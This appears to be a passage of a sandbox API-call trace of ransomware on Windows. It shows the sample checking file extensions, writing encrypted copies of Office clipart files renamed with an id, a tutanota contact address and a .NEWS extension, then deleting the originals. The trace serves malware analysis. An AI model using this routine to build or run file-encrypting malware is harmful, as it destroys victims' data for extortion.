[0231.141] lstrlenW (lpString=".jpg") returned 4 [0231.142] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.142] lstrlenW (lpString=".doc") returned 4 [0231.142] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.142] lstrlenW (lpString=".docx") returned 5 [0231.142] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.142] lstrlenW (lpString=".pdf") returned 4 [0231.143] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.143] lstrlenW (lpString=".xls") returned 4 [0231.143] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.143] lstrlenW (lpString=".xlsx") returned 5 [0231.143] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.143] lstrlenW (lpString=".ppt") returned 4 [0231.143] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.143] lstrlenW (lpString=".zip") returned 4 [0231.143] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.143] lstrlenW (lpString=".rar") returned 4 [0231.143] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.143] lstrlenW (lpString=".bz2") returned 4 [0231.143] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.143] lstrlenW (lpString=".7z") returned 3 [0231.143] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.144] lstrlenW (lpString=".dbf") returned 4 [0231.144] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.144] lstrlenW (lpString=".1cd") returned 4 [0231.144] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0231.144] lstrlenW (lpString=".jpg") returned 4 [0231.144] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.145] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0231.145] lstrlenW (lpString="HTECH_01.MID") returned 12 [0231.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0231.148] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=7178) returned 1 [0231.149] CloseHandle (hObject=0x398) returned 1 [0231.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0231.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0231.150] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.150] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0231.151] GetLastError () returned 0x0 [0231.151] ReadFile (in: hFile=0x398, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0231.193] WriteFile (in: hFile=0x39c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0231.197] ReadFile (in: hFile=0x398, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.197] WriteFile (in: hFile=0x39c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.197] SetEndOfFile (hFile=0x39c) returned 1 [0231.435] CloseHandle (hObject=0x39c) returned 1 [0231.444] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.445] SetEndOfFile (hFile=0x398) returned 1 [0231.604] CloseHandle (hObject=0x398) returned 1 [0231.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0231.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.841] lstrlenW (lpString=".doc") returned 4 [0231.841] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.841] lstrlenW (lpString=".docx") returned 5 [0231.841] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.841] lstrlenW (lpString=".pdf") returned 4 [0231.841] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.841] lstrlenW (lpString=".xls") returned 4 [0231.841] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.841] lstrlenW (lpString=".xlsx") returned 5 [0231.841] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.842] lstrlenW (lpString=".ppt") returned 4 [0231.842] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.842] lstrlenW (lpString=".zip") returned 4 [0231.842] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.842] lstrlenW (lpString=".rar") returned 4 [0231.842] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.842] lstrlenW (lpString=".bz2") returned 4 [0231.842] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.842] lstrlenW (lpString=".7z") returned 3 [0231.842] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.843] lstrlenW (lpString=".dbf") returned 4 [0231.843] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.843] lstrlenW (lpString=".1cd") returned 4 [0231.843] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.843] lstrlenW (lpString=".jpg") returned 4 [0231.843] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.844] lstrlenW (lpString=".doc") returned 4 [0231.844] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.844] lstrlenW (lpString=".docx") returned 5 [0231.844] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.844] lstrlenW (lpString=".pdf") returned 4 [0231.844] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.844] lstrlenW (lpString=".xls") returned 4 [0231.844] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.844] lstrlenW (lpString=".xlsx") returned 5 [0231.844] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.844] lstrlenW (lpString=".ppt") returned 4 [0231.844] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.845] lstrlenW (lpString=".zip") returned 4 [0231.845] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.845] lstrlenW (lpString=".rar") returned 4 [0231.845] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.845] lstrlenW (lpString=".bz2") returned 4 [0231.845] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.845] lstrlenW (lpString=".7z") returned 3 [0231.845] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.845] lstrlenW (lpString=".dbf") returned 4 [0231.845] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.845] lstrlenW (lpString=".1cd") returned 4 [0231.846] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0231.846] lstrlenW (lpString=".jpg") returned 4 [0231.846] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.846] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0231.847] lstrlenW (lpString="JAVA_01.MID") returned 11 [0231.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0231.897] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=9797) returned 1 [0231.897] CloseHandle (hObject=0x3ac) returned 1 [0231.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0231.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0231.909] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.909] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.109] GetLastError () returned 0x0 [0232.109] ReadFile (in: hFile=0x3ac, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x2645, lpOverlapped=0x0) returned 1 [0232.118] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x2650, lpOverlapped=0x0) returned 1 [0232.122] ReadFile (in: hFile=0x3ac, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.122] WriteFile (in: hFile=0x35c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0232.123] SetEndOfFile (hFile=0x35c) returned 1 [0232.123] CloseHandle (hObject=0x35c) returned 1 [0232.123] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.124] SetEndOfFile (hFile=0x3ac) returned 1 [0232.130] CloseHandle (hObject=0x3ac) returned 1 [0232.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0232.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.480] lstrlenW (lpString=".doc") returned 4 [0232.481] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.481] lstrlenW (lpString=".docx") returned 5 [0232.481] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.481] lstrlenW (lpString=".pdf") returned 4 [0232.481] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.481] lstrlenW (lpString=".xls") returned 4 [0232.481] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.481] lstrlenW (lpString=".xlsx") returned 5 [0232.481] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.481] lstrlenW (lpString=".ppt") returned 4 [0232.481] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.482] lstrlenW (lpString=".zip") returned 4 [0232.482] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.482] lstrlenW (lpString=".rar") returned 4 [0232.482] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.482] lstrlenW (lpString=".bz2") returned 4 [0232.482] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.482] lstrlenW (lpString=".7z") returned 3 [0232.482] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.482] lstrlenW (lpString=".dbf") returned 4 [0232.482] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.482] lstrlenW (lpString=".1cd") returned 4 [0232.483] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.483] lstrlenW (lpString=".jpg") returned 4 [0232.483] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.483] lstrlenW (lpString=".doc") returned 4 [0232.483] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.483] lstrlenW (lpString=".docx") returned 5 [0232.483] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.484] lstrlenW (lpString=".pdf") returned 4 [0232.484] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.484] lstrlenW (lpString=".xls") returned 4 [0232.484] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.484] lstrlenW (lpString=".xlsx") returned 5 [0232.484] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.484] lstrlenW (lpString=".ppt") returned 4 [0232.484] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.484] lstrlenW (lpString=".zip") returned 4 [0232.484] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.485] lstrlenW (lpString=".rar") returned 4 [0232.485] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.485] lstrlenW (lpString=".bz2") returned 4 [0232.485] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.485] lstrlenW (lpString=".7z") returned 3 [0232.485] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.485] lstrlenW (lpString=".dbf") returned 4 [0232.485] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.485] lstrlenW (lpString=".1cd") returned 4 [0232.485] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0232.486] lstrlenW (lpString=".jpg") returned 4 [0232.486] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.486] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.486] lstrlenW (lpString="PAPER_01.MID") returned 12 [0232.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.719] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=6763) returned 1 [0232.720] CloseHandle (hObject=0x35c) returned 1 [0232.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0232.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.973] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.974] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0233.146] GetLastError () returned 0x0 [0233.146] ReadFile (in: hFile=0x338, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0233.429] WriteFile (in: hFile=0x3d4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0233.435] ReadFile (in: hFile=0x338, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.435] WriteFile (in: hFile=0x3d4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.435] SetEndOfFile (hFile=0x3d4) returned 1 [0233.445] CloseHandle (hObject=0x3d4) returned 1 [0233.445] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.446] SetEndOfFile (hFile=0x338) returned 1 [0233.453] CloseHandle (hObject=0x338) returned 1 [0233.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0233.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.628] lstrlenW (lpString=".doc") returned 4 [0233.628] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.628] lstrlenW (lpString=".docx") returned 5 [0233.628] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.628] lstrlenW (lpString=".pdf") returned 4 [0233.628] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.629] lstrlenW (lpString=".xls") returned 4 [0233.629] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.629] lstrlenW (lpString=".xlsx") returned 5 [0233.629] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.629] lstrlenW (lpString=".ppt") returned 4 [0233.629] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.629] lstrlenW (lpString=".zip") returned 4 [0233.629] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.629] lstrlenW (lpString=".rar") returned 4 [0233.629] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.629] lstrlenW (lpString=".bz2") returned 4 [0233.630] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.630] lstrlenW (lpString=".7z") returned 3 [0233.630] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.630] lstrlenW (lpString=".dbf") returned 4 [0233.630] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.630] lstrlenW (lpString=".1cd") returned 4 [0233.630] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.630] lstrlenW (lpString=".jpg") returned 4 [0233.630] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.631] lstrlenW (lpString=".doc") returned 4 [0233.631] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.631] lstrlenW (lpString=".docx") returned 5 [0233.631] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.631] lstrlenW (lpString=".pdf") returned 4 [0233.631] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.631] lstrlenW (lpString=".xls") returned 4 [0233.631] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.632] lstrlenW (lpString=".xlsx") returned 5 [0233.632] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.632] lstrlenW (lpString=".ppt") returned 4 [0233.632] 